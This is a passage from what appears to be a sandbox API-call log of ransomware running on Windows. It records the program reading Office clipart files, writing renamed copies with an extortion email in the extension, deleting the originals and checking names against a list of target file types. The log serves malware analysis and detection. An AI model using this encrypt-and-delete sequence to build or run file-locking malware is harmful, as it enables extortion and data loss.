lpNumberOfBytesWritten=0x2ecfc9c*=0xe90, lpOverlapped=0x0) returned 1 [0195.262] ReadFile (in: hFile=0x220, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.262] WriteFile (in: hFile=0x1f8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.262] SetEndOfFile (hFile=0x1f8) returned 1 [0195.262] CloseHandle (hObject=0x1f8) returned 1 [0195.262] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.262] SetEndOfFile (hFile=0x220) returned 1 [0195.263] CloseHandle (hObject=0x220) returned 1 [0195.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.263] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf")) returned 1 [0195.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.264] lstrlenW (lpString=".doc") returned 4 [0195.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.264] lstrlenW (lpString=".docx") returned 5 [0195.264] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.264] lstrlenW (lpString=".pdf") returned 4 [0195.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.264] lstrlenW (lpString=".xls") returned 4 [0195.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.264] lstrlenW (lpString=".xlsx") returned 5 [0195.264] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.264] lstrlenW (lpString=".ppt") returned 4 [0195.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.264] lstrlenW (lpString=".zip") returned 4 [0195.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.264] lstrlenW (lpString=".rar") returned 4 [0195.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.264] lstrlenW (lpString=".bz2") returned 4 [0195.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.264] lstrlenW (lpString=".7z") returned 3 [0195.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.264] lstrlenW (lpString=".dbf") returned 4 [0195.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.264] lstrlenW (lpString=".1cd") returned 4 [0195.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.264] lstrlenW (lpString=".jpg") returned 4 [0195.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.442] lstrlenW (lpString=".doc") returned 4 [0195.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.449] lstrlenW (lpString=".docx") returned 5 [0195.450] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.450] lstrlenW (lpString=".pdf") returned 4 [0195.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.458] lstrlenW (lpString=".xls") returned 4 [0195.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.458] lstrlenW (lpString=".xlsx") returned 5 [0195.458] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.458] lstrlenW (lpString=".ppt") returned 4 [0195.458] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.463] lstrlenW (lpString=".zip") returned 4 [0195.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.464] lstrlenW (lpString=".rar") returned 4 [0195.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.464] lstrlenW (lpString=".bz2") returned 4 [0195.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.464] lstrlenW (lpString=".7z") returned 3 [0195.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.464] lstrlenW (lpString=".dbf") returned 4 [0195.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.464] lstrlenW (lpString=".1cd") returned 4 [0195.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned 63 [0195.464] lstrlenW (lpString=".jpg") returned 4 [0195.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.464] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.464] lstrlenW (lpString="J0107514.WMF") returned 12 [0195.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.465] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=12204) returned 1 [0195.465] CloseHandle (hObject=0x218) returned 1 [0195.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 0x20 [0195.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.465] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.465] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.466] GetLastError () returned 0x0 [0195.466] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2fac, lpOverlapped=0x0) returned 1 [0195.469] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2fb0, lpOverlapped=0x0) returned 1 [0195.470] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.470] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.470] SetEndOfFile (hFile=0x1e4) returned 1 [0195.470] CloseHandle (hObject=0x1e4) returned 1 [0195.470] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.470] SetEndOfFile (hFile=0x218) returned 1 [0195.471] CloseHandle (hObject=0x218) returned 1 [0195.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.471] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0195.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.472] lstrlenW (lpString=".doc") returned 4 [0195.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.472] lstrlenW (lpString=".docx") returned 5 [0195.472] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.472] lstrlenW (lpString=".pdf") returned 4 [0195.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.472] lstrlenW (lpString=".xls") returned 4 [0195.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.472] lstrlenW (lpString=".xlsx") returned 5 [0195.472] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.472] lstrlenW (lpString=".ppt") returned 4 [0195.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.472] lstrlenW (lpString=".zip") returned 4 [0195.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.472] lstrlenW (lpString=".rar") returned 4 [0195.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.472] lstrlenW (lpString=".bz2") returned 4 [0195.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.472] lstrlenW (lpString=".7z") returned 3 [0195.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.472] lstrlenW (lpString=".dbf") returned 4 [0195.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.472] lstrlenW (lpString=".1cd") returned 4 [0195.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.473] lstrlenW (lpString=".jpg") returned 4 [0195.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.473] lstrlenW (lpString=".doc") returned 4 [0195.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString=".docx") returned 5 [0195.473] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.473] lstrlenW (lpString=".pdf") returned 4 [0195.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString=".xls") returned 4 [0195.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.473] lstrlenW (lpString=".xlsx") returned 5 [0195.473] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.473] lstrlenW (lpString=".ppt") returned 4 [0195.473] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.473] lstrlenW (lpString=".zip") returned 4 [0195.473] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.473] lstrlenW (lpString=".rar") returned 4 [0195.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString=".bz2") returned 4 [0195.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString=".7z") returned 3 [0195.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.473] lstrlenW (lpString=".dbf") returned 4 [0195.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.473] lstrlenW (lpString=".1cd") returned 4 [0195.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0195.473] lstrlenW (lpString=".jpg") returned 4 [0195.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.474] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.474] lstrlenW (lpString="J0107516.WMF") returned 12 [0195.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.474] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=14008) returned 1 [0195.474] CloseHandle (hObject=0x218) returned 1 [0195.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 0x20 [0195.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.474] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.475] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.475] GetLastError () returned 0x0 [0195.475] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x36b8, lpOverlapped=0x0) returned 1 [0195.477] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x36c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x36c0, lpOverlapped=0x0) returned 1 [0195.478] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.479] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.479] SetEndOfFile (hFile=0x1e4) returned 1 [0195.479] CloseHandle (hObject=0x1e4) returned 1 [0195.479] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.479] SetEndOfFile (hFile=0x218) returned 1 [0195.480] CloseHandle (hObject=0x218) returned 1 [0195.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107516.wmf")) returned 1 [0195.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.480] lstrlenW (lpString=".doc") returned 4 [0195.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.480] lstrlenW (lpString=".docx") returned 5 [0195.480] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.480] lstrlenW (lpString=".pdf") returned 4 [0195.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.480] lstrlenW (lpString=".xls") returned 4 [0195.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.480] lstrlenW (lpString=".xlsx") returned 5 [0195.480] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.480] lstrlenW (lpString=".ppt") returned 4 [0195.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.480] lstrlenW (lpString=".zip") returned 4 [0195.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.481] lstrlenW (lpString=".rar") returned 4 [0195.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.481] lstrlenW (lpString=".bz2") returned 4 [0195.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.481] lstrlenW (lpString=".7z") returned 3 [0195.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.481] lstrlenW (lpString=".dbf") returned 4 [0195.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.481] lstrlenW (lpString=".1cd") returned 4 [0195.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.481] lstrlenW (lpString=".jpg") returned 4 [0195.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.481] lstrlenW (lpString=".doc") returned 4 [0195.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.481] lstrlenW (lpString=".docx") returned 5 [0195.481] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.481] lstrlenW (lpString=".pdf") returned 4 [0195.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.481] lstrlenW (lpString=".xls") returned 4 [0195.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.481] lstrlenW (lpString=".xlsx") returned 5 [0195.481] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.481] lstrlenW (lpString=".ppt") returned 4 [0195.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.482] lstrlenW (lpString=".zip") returned 4 [0195.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.482] lstrlenW (lpString=".rar") returned 4 [0195.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.482] lstrlenW (lpString=".bz2") returned 4 [0195.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.482] lstrlenW (lpString=".7z") returned 3 [0195.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.482] lstrlenW (lpString=".dbf") returned 4 [0195.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.482] lstrlenW (lpString=".1cd") returned 4 [0195.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107516.WMF") returned 63 [0195.482] lstrlenW (lpString=".jpg") returned 4 [0195.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.482] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.482] lstrlenW (lpString="J0107526.WMF") returned 12 [0195.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.483] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7948) returned 1 [0195.483] CloseHandle (hObject=0x218) returned 1 [0195.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 0x20 [0195.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.483] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.483] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.484] GetLastError () returned 0x0 [0195.484] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1f0c, lpOverlapped=0x0) returned 1 [0195.485] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0195.486] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.486] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.486] SetEndOfFile (hFile=0x1e4) returned 1 [0195.487] CloseHandle (hObject=0x1e4) returned 1 [0195.487] 